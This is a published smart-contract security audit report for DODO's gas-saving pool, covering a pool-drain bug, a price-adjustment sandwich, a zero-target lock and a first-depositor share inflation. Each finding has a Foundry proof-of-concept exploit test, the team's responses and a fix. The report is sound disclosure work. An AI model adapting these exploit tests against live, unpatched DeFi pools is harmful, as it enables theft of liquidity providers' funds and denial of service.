SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for: DODO
Prepared by: Sherlock
Lead Security Expert: cergyk
Dates Audited: December 19 - December 24, 2023
Prepared on: January 26, 2024

Introduction

A leveraged market making solution to minimize IL and improve on liquidity management. The solution provides yield for retail LPs, higher profits for expert LPs, and better liquidity for traders.

Scope

Repository: DODOEX/dodo-gassaving-pool

Branch: main

Commit: 175cbb01a2867c79daa178c5d2d03e52bcbcb2de

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
3	1

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

mstpr-brainbot
cergyk
hash
Bandit
nuthan2x
osmanozdemir1
rvierdiiev
Hama
thank_you
0xpep7

Issue H-1: Pool can be drained if there are no LP_FEES

Source: https://github.com/sherlock-audit/2023-12-dodo-gsp-judging/issues/122

Found by

cergyk, mstpr-brainbot

Summary

The pool can be depleted because swaps allow the withdrawal of the entire balance, resulting in a reserve of 0 for a specific asset. When an asset's balance reaches 0, the PMMPricing algorithm incorrectly estimates the calculation of output amounts. Consequently, the entire pool can be exploited using a flash loan by depleting one of the tokens to 0 and then swapping back to the pool whatever is received.

Vulnerability Detail

Firstly, as indicated in the summary, selling quote/base tokens can lead to draining the opposite token in the pool, potentially resulting in a reserve of 0. Consequently, the swapping mechanism permits someone to entirely deplete the token balance within the pool. In such cases, the calculations within the pool mechanism become inaccurate. Therefore, swapping back to whatever has been initially purchased will result in acquiring more tokens, further exacerbating the depletion of the pool.

Allow me to provide a PoC to illustrate this scenario:

```
function test_poolCanBeDrained() public {
        // @review 99959990000000000000000 this amount makes the reserve 0
        // run a fuzz test, to get the logs easily I will just use this value as
↪  constant but I found it via fuzzing
        // selling this amount to the pool will make the quote token reserves
↪  "0".
        vm.startPrank(tapir);
        uint256 _amount = 99959990000000000000000;

        //  Buy shares with tapir, 10 - 10 initiate the pool
        dai.transfer(address(gsp), 10 * 1e18);
        usdc.transfer(address(gsp), 10 * 1e6);
        gsp.buyShares(tapir);

        // make sure the values are correct with my math
        assertTrue(gsp._BASE_RESERVE_() == 10 * 1e18);
        assertTrue(gsp._QUOTE_RESERVE_() == 10 * 1e6);
```


SHERLOCK

```
        assertTrue(gsp._BASE_TARGET_() == 10 * 1e18);
        assertTrue(gsp._QUOTE_TARGET_() == 10 * 1e6);
        assertEq(gsp.balanceOf(tapir), 10 * 1e18);
        vm.stopPrank();

        // sell such a base token amount such that the quote reserve is 0
        // I calculated the "_amount" already which will make the quote token
↪   reserve "0"
        vm.startPrank(hippo);
        deal(DAI, hippo, _amount);
        dai.transfer(address(gsp), _amount);
        uint256 receivedQuoteAmount = gsp.sellBase(hippo);

        // print the reserves and the amount received by hippo when he sold the
↪   base tokens
        console.log("Received quote amount by hippo", receivedQuoteAmount);
        console.log("Base reserve", gsp._BASE_RESERVE_());
        console.log("Quote reserve", gsp._QUOTE_RESERVE_());

        // Quote reserve is 0!!! That means the pool has 0 assets, basically
↪   pool has only one asset now!
        // this behaviour is almost always not a desired behaviour because we
↪   never want our assets to be 0
        // as a result of swapping or removing liquidity.
        assertEq(gsp._QUOTE_RESERVE_(), 0);

        // sell the quote tokens received back to the pool immediately
        usdc.transfer(address(gsp), receivedQuoteAmount);

        // cache whatever received base tokens from the selling back
        uint256 receivedBaseAmount = gsp.sellQuote(hippo);

        console.log("Received base amount by hippo", receivedBaseAmount);
        console.log("Base target", gsp._BASE_TARGET_());
        console.log("Quote target", gsp._QUOTE_TARGET_());
        console.log("Base reserve", gsp._BASE_RESERVE_());
        console.log("Quote reserve", gsp._QUOTE_RESERVE_());

        // whatever received in base tokens are bigger than our first flashloan!
        // means that we have a profit!
        assertGe(receivedBaseAmount, _amount);
        console.log("Profit for attack", receivedBaseAmount - _amount);
    }
```

Test results and logs:

Impact

Pool can be drained, funds are lost. Hence, high. Though, this can only happen when there are no "LP_FEES". However, when we check the default settings of the deployment, we see here that the LP_FEE is set to 0. So, it is ok to assume that the LP_FEES can be 0.

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPTrader.sol#L40-L113

Tool used

Manual Review

Recommendation

Do not allow the pools balance to be 0 or do not let LP_FEE to be 0 in anytime.

Discussion

sherlock-admin2

> Escalate
>
> Issues #51, #96 and #157 are missing the crucial second step of swapping back to actually drain the pool, and thus describe a low impact. They should be unduplicated from this issue

```
You've deleted an escalation for this issue.
```

nevillehuang

@CergyK those are not duplicates, I have removed them already. You might want to remove the escalation.

CergyK

> @CergyK those are not duplicates, I have removed them already. You might want to remove the escalation.

Thank you, escalation removed

Skyewwww

SHERLOCK

We have fixed this bug at this PR:
https://github.com/DODOEX/dodo-gassaving-pool/pull/15

CergyK

> We have fixed this bug at this PR: DODOEX/dodo-gassaving-pool#15

Fix LGTM

Issue M-1: Adjusting "*I*" will create a sandwich opportunity because of price changes

Source: https://github.com/sherlock-audit/2023-12-dodo-gsp-judging/issues/40

Found by

Bandit, cergyk, mstpr-brainbot

Summary

Adjusting the value of "I" directly influences the price. This can be exploited by a MEV bot, simply by trading just before the "adjustPrice" function and exiting right after the price change. The profit gained from this operation essentially represents potential losses for the liquidity providers who supplied liquidity to the pool.

Vulnerability Detail

As we can see in the docs, the "*I*" is the "i" value in here and it is directly related with the output amount a trader will receive when selling a quote/base token:

Since the price will change, the MEV bot can simply sandwich the tx. Here an example how it can be executed by a MEV bot:

```
function test_Adjusting_I_CanBeFrontrunned() external {
        vm.startPrank(tapir);

        //  Buy shares with tapir, 10 - 10
        dai.safeTransfer(address(gsp), 10 * 1e18);
        usdc.transfer(address(gsp), 10 * 1e6);
        gsp.buyShares(tapir);

        // print some stuff
        console.log("Base target initial", gsp._BASE_TARGET_());
        console.log("Quote target initial", gsp._QUOTE_TARGET_());
        console.log("Base reserve initial", gsp._BASE_RESERVE_());
        console.log("Quote reserve initial", gsp._QUOTE_RESERVE_());

        // we know the price will decrease so lets sell the base token before
↪   that
        uint256 initialBaseTokensSwapped = 5 * 1e18;

        // sell the base tokens before adjustPrice
        dai.safeTransfer(address(gsp), initialBaseTokensSwapped);
        uint256 receivedQuoteTokens = gsp.sellBase(tapir);
```


SHERLOCK

```
        vm.stopPrank();

        // this is the tx will be sandwiched by the MEV trader
        vm.prank(MAINTAINER);
        gsp.adjustPrice(999000);

        // quickly resell whatever gained by the price update
        vm.startPrank(tapir);
        usdc.safeTransfer(address(gsp), receivedQuoteTokens);
        uint256 receivedBaseTokens = gsp.sellQuote(tapir);
        console.log("Base target", gsp._BASE_TARGET_());
        console.log("Quote target", gsp._QUOTE_TARGET_());
        console.log("Base reserve", gsp._BASE_RESERVE_());
        console.log("Quote reserve", gsp._QUOTE_RESERVE_());
        console.log("Received base tokens", receivedBaseTokens);

        // NOTE: the LP fee and MT FEE is set for this example, so this is not
↪   an rough assumption
        // where fees are 0. Here the fees set for both of the values (default
↪   values):
        // uint256 constant LP_FEE_RATE = 10000000000000;
        // uint256 constant MT_FEE_RATE = 10000000000000;

        // whatever we get is more than we started, in this example
        // MEV trader started 5 DAI and we have more than 5 DAI!!
        assertGe(receivedBaseTokens, initialBaseTokensSwapped);
    }
```

Test result and logs:

After the sandwich, we can see that the MEV bot's DAI amount exceeds its initial DAI balance (profits). Additionally, the reserves for both base and quote tokens are less than the initial 10 tokens deposited by the tapir (only LP). The profit gained by the MEV bot essentially translates to a loss for the tapir.

Another note on this is that even though the `adjustPrice` called by MAINTAINER without getting frontrunned, it still creates a big price difference which requires immediate arbitrages. Usually these type of parameter changes that impacts the trades are setted by time via ramping to mitigate the unfair advantages that it can occur during the price update.

Impact

Medium since the adjusting price is a privileged role and it is not frequently used. However, this tx can be frontrunnable easily as we see in the PoC which would result in loss of funds. Although the admins are trusted this is not about admin

being trustworthy. This is basically a common DeFi parameter change thread and should be well awared. For example, in curve/yeth/balancer contracts the ramp factors are changed via async slow update. It doesn't changes its value immediately but rather does this update slowly by every sec. For example we can see here in the yETH contract that the changing a parameter which determines the trades of users is updated slowly rather than one go: https://github.com/yearn/yETH/blob/8d831fd6b4de9f004d419f035cd2806dc8d5cf7e/contracts/Pool.vy#L983-L997

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPVault.sol#L169-L174 https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPTrader.sol#L40-L113

Tool used

Manual Review

Recommendation

Acknowledge the issue and use private RPC's to eliminate front-running or slowly ramp up the "I" so that the arbitrage opportunity is fair

Discussion

Skyewwww

We think this is normal arbitrage behavior and not a bug.

nevillehuang

@Skyewwww Since this wasn't mention as an intended known risk, I will maintain as medium severity.

Skyewwww

We recognize that this issue exists, but after we conducted this sandwich attack test, we believe that the profit gained by an attacker using the sandwich attack is essentially the same as the profit gained by trading after a normal price change. It is very difficult for an attacker to make additional profit, so we chose not to fix it.

Issue M-2: First depositor can lock the quote target value to zero

Source: https://github.com/sherlock-audit/2023-12-dodo-gsp-judging/issues/48

Found by

hash, mstpr-brainbot, nuthan2x

Summary

When the initial deposit occurs, it is possible for the quote target to be set to 0. This situation significantly impacts other LPs as well. Even if subsequent LPs deposit substantial amounts, the quote target remains at 0 due to multiplication with this zero value. 0 *QUOTE_TARGET* value will impact the swaps that pool facilities

Vulnerability Detail

When the first deposit happens, *QUOTE_TARGET* is set as follows:

```
if (totalSupply == 0) {
            // case 1. initial supply
            // The shares will be minted to user
            shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_)
                ? DecimalMath.divFloor(quoteBalance, _I_)
                : baseBalance;
            // The target will be updated
            _BASE_TARGET_ = uint112(shares);
            _QUOTE_TARGET_ = uint112(DecimalMath.mulFloor(shares, _I_));
```

In this scenario, the 'shares' value can be a minimum of 1e3, as indicated here: link to code snippet.

This implies that if someone deposits minuscule amounts of quote token and base token, they can set the *QUOTE_TARGET* to zero because the `mulFloor` operation uses a scaling factor of 1e18:

```
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
        return target * d / (10 ** 18);
    }
```

Should the quote target become 0, subsequent deposits will not increase due to the multiplication with "0" on the quote target. This situation is highly problematic because the swaps depend on the value of the quote target:

SHERLOCK

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L74-L75

```
// @review 0 + (0 * something) = 0! doesn't matter what amount has been
↪  deposited !
_QUOTE_TARGET_ = uint112(uint256(_QUOTE_TARGET_) +
↪  (DecimalMath.mulFloor(uint256(_QUOTE_TARGET_), mintRatio)));
```

Here a PoC shows that if the first deposit is tiny the *QUOTE_TARGET* is 0. Also, whatever deposits after goes through the *QUOTE_TARGET* still 0 because of the multiplication with 0!

```
function test_StartWithZeroTarget() external {
        // tapir deposits tiny amounts to make quote target 0
        vm.startPrank(tapir);
        dai.safeTransfer(address(gsp), 1 * 1e5);
        usdc.transfer(address(gsp), 1 * 1e5);
        gsp.buyShares(tapir);

        console.log("Base target", gsp._BASE_TARGET_());
        console.log("Quote target", gsp._QUOTE_TARGET_());
        console.log("Base reserve", gsp._BASE_RESERVE_());
        console.log("Quote reserve", gsp._QUOTE_RESERVE_());

        // quote target is indeed 0!
        assertEq(gsp._QUOTE_TARGET_(), 0);

        vm.stopPrank();

        // hippo deposits properly
        vm.startPrank(hippo);
        dai.safeTransfer(address(gsp), 1000 * 1e18);
        usdc.transfer(address(gsp), 10000 * 1e6);
        gsp.buyShares(hippo);

        console.log("Base target", gsp._BASE_TARGET_());
        console.log("Quote target", gsp._QUOTE_TARGET_());
        console.log("Base reserve", gsp._BASE_RESERVE_());
        console.log("Quote reserve", gsp._QUOTE_RESERVE_());

        // although hippo deposited 1000 USDC as quote tokens, target is still 0
↪  due to multiplication with 0
        assertEq(gsp._QUOTE_TARGET_(), 0);
    }
```


SHERLOCK

Test result and logs:

Impact

Since the quote target is important and used when pool deciding the swap math I will label this as high.

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L31-L82

Tool used

Manual Review

Recommendation

According to the quote tokens decimals, multiply the quote token balance with the proper decimal scalor.

Discussion

Skyewwww

When fix is made to #122(https://github.com/DODOEX/dodo-gassaving-pool/pull/15), sellBase and sellQuote will be reverted when quote target is zero. Besides, sellShare can work normally. So we think the current fixes are sufficient and we will not make additional fixes to this issue.

CergyK

> When fix is made to #122(DODOEX/dodo-gassaving-pool#15), sellBase and sellQuote will be reverted when quote target is zero. Besides, sellShare can work normally. So we think the current fixes are sufficient and we will not make additional fixes to this issue.

Please note that this enables any user to DOS permanently any pool upon creation (no funds loss but still a bug), not sure if the risk is acceptable

There is the simple fix to check that TARGETs are not zero after first buyShares in a pool

Skyewwww

> When fix is made to #122(DODOEX/dodo-gassaving-pool#15), sellBase and sellQuote will be reverted when quote target is

> > zero. Besides, sellShare can work normally. So we think the current fixes are sufficient and we will not make additional fixes to this issue.
>
> Please note that this enables any user to DOS permanently any pool upon creation (no funds loss but still a bug), not sure if the risk is acceptable
>
> There is the simple fix to check that TARGETs are not zero after first buyShares in a pool

We fix this bug at this PR:
https://github.com/DODOEX/dodo-gassaving-pool/pull/16

CergyK

> > When fix is made to #122(DODOEX/dodo-gassaving-pool#15), sellBase and sellQuote will be reverted when quote target is zero. Besides, sellShare can work normally. So we think the current fixes are sufficient and we will not make additional fixes to this issue.
>
> Please note that this enables any user to DOS permanently any pool upon creation (no funds loss but still a bug), not sure if the risk is acceptable There is the simple fix to check that TARGETs are not zero after first buyShares in a pool
>
> We fix this bug at this PR: DODOEX/dodo-gassaving-pool#16

Fix LGTM

Issue M-3: Share Price Inflation by First LP-er, Enabling DOS Attacks on Subsequent buyShares with Up to 1001x the Attacking Cost

Source: https://github.com/sherlock-audit/2023-12-dodo-gsp-judging/issues/55

Found by

0xpep7, Bandit, Hama, cergyk, hash, osmanozdemir1, rvierdiiev, thank_you

Summary

The smart contract contains a critical vulnerability that allows a malicious actor to manipulate the share price during the initialization of the liquidity pool, potentially leading to a DOS attack on subsequent buyShares operations.

Vulnerability Detail

The root cause of the vulnerability lies in the initialization process of the liquidity pool, specifically in the calculation of shares during the first deposit.

```
// Findings are labeled with '<= FOUND'
// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol
31:     function buyShares(address to)
          ...
57:             // case 1. initial supply
58:             // The shares will be minted to user
59:             shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_) //
 ↪  <= FOUND
60:                 ? DecimalMath.divFloor(quoteBalance, _I_)
61:                 : baseBalance; // @audit-info mint shares based on min
 ↪  balance(base, quote)
62:             // The target will be updated
63:             _BASE_TARGET_ = uint112(shares);
            ...
82:     }
```

If the pool is empty, the smart contract directly sets the share value based on the minimium value of the base token denominated value of the provided assets. This assumption can be manipulated by a malicious actor during the first deposit, leading to a situation where the LP pool token becomes extremely expensive.

Attack Scenario

The attacker exploits the vulnerability during the initialization of the liquidity pool:

1. The attacker mints 1001 shares during the first deposit.
2. Immediately, the attacker sells back 1000 shares, ensuring to keep 1 wei via the `sellShares` function.
3. The attacker then donates a large amount (1000e18) of base and quote tokens and invokes the `sync()` routine to pump the base and quote reserves to 1001 + 1000e18.
4. The protocol users proceed to execute the `buyShares` function with a balance less than `attacker's spending * 1001`. The transaction reverts due to the `mintRatio` being kept below 1001 wad and the computed `shares` less than 1001 (line 71), while it needs a value >= 1001 to mint shares successfully.

```
// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol
31:     function buyShares(address to)
          ...
66:             // case 2. normal case
67:             uint256 baseInputRatio = DecimalMath.divFloor(baseInput,
↪   baseReserve);
68:             uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput,
↪   quoteReserve);
69:             uint256 mintRatio = quoteInputRatio < baseInputRatio ?
↪   quoteInputRatio : baseInputRatio; // <= FOUND: mintRatio below 1001wad if
↪   input amount smaller than reserves * 1001
70:             // The shares will be minted to user
71:             shares = DecimalMath.mulFloor(totalSupply, mintRatio); // <=
↪   FOUND: the manipulated totalSupply of 1wei requires a mintRatio of greater
↪   than 1000 for a successful _mint()
            ...
82:     }
// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPVault.sol
294:     function _mint(address user, uint256 value) internal {
295:         require(value > 1000, "MINT_AMOUNT_NOT_ENOUGH"); // <= FOUND: next
↪   buyShares with volume less than 1001 x attacker balance will revert here
...
300:     }
```

5. The `_mint()` function fails with a "MINT_AMOUNT_NOT_ENOUGH" error, causing a denial-of-service condition for subsequent buyShares operations.

POC

Apply the POC to `dodo-gassaving-pool/test/GPSTrader.t.sol` and run with `cd dodo-gassaving-pool && forge test --fork-url "https://rpc.flashbots.net" -vvv --mt test_mint1weiShares_DOSx1000DonationVolume` to check the result.

```
// File: dodo-gassaving-pool/test/GPSTrader.t.sol
    function test_mint1weiShares_DOSx1000DonationVolume() public {
        GSP gspTest = new GSP();
        gspTest.init(
            MAINTAINER,
            address(mockBaseToken),
            address(mockQuoteToken),
            0,
            0,
            1000000,
            500000000000000,
            false
        );

        // Buy 1001 shares
        vm.startPrank(USER);
        mockBaseToken.transfer(address(gspTest), 1001);
        mockQuoteToken.transfer(address(gspTest), 1001 * gspTest._I_() / 1e18);
        gspTest.buyShares(USER);
        assertEq(gspTest.balanceOf(USER), 1001);

        // User sells shares and keep ONLY 1wei
        gspTest.sellShares(1000, USER, 0, 0, "", block.timestamp);
        assertEq(gspTest.balanceOf(USER), 1);

        // User donate a huge amount of base & quote tokens to inflate the share
↪   price
        uint256 donationAmount = 1000e18;
        mockBaseToken.transfer(address(gspTest), donationAmount);
        mockQuoteToken.transfer(address(gspTest), donationAmount * gspTest._I_()
↪   / 1e18);
        gspTest.sync();
        vm.stopPrank();

        // DOS subsequent operations with roughly 1001 x donation volume
        uint256 dosAmount = donationAmount * 1001;
        mockBaseToken.mint(OTHER, type(uint256).max);
        mockQuoteToken.mint(OTHER, type(uint256).max);

        vm.startPrank(OTHER);
        mockBaseToken.transfer(address(gspTest), dosAmount);
```


SHERLOCK

```
        mockQuoteToken.transfer(address(gspTest), dosAmount * gspTest._I_() /
↪  1e18);

        vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
        gspTest.buyShares(OTHER);
        vm.stopPrank();
    }
```

A PASS result would confirm that any deposits with volume less than 1001 times to attacker cost would fail. That means by spending $1000, the attacker can DOS any transaction with volume below $1001,000.

Impact

The impact of this vulnerability is severe, as it allows an attacker to conduct DOS attacks on buyShares with a low attacking cost (retrievable for further attacks via `sellShares`). This significantly impairs the core functionality of the protocol, potentially preventing further LP operations and hindering the protocol's ability to attract Total Value Locked (TVL) for other trading operations such as sellBase, sellQuote and flashloan.

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56-L65

Tool used

Foundry test

Recommendation

A mechanism should be implemented to handle the case of zero totalSupply during initialization. A potential solution is inspired by Uniswap V2 Core Code, which sends the first 1001 LP tokens to the zero address. This way, it's extremely costly to inflate the share price as much as 1001 times on the first deposit.

Discussion

Skyewwww

We have fixed this bug at this PR:
https://github.com/DODOEX/dodo-gassaving-pool/pull/14

Czar102

Because of the fact that this is "just" DoS (no loss of funds) and there are serious constraints on whether the attack is possible and there are high capital requirements for performing it, will make it a valid Medium.

CergyK

> We have fixed this bug at this PR: DODOEX/dodo-gassaving-pool#14

Fix looks good

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.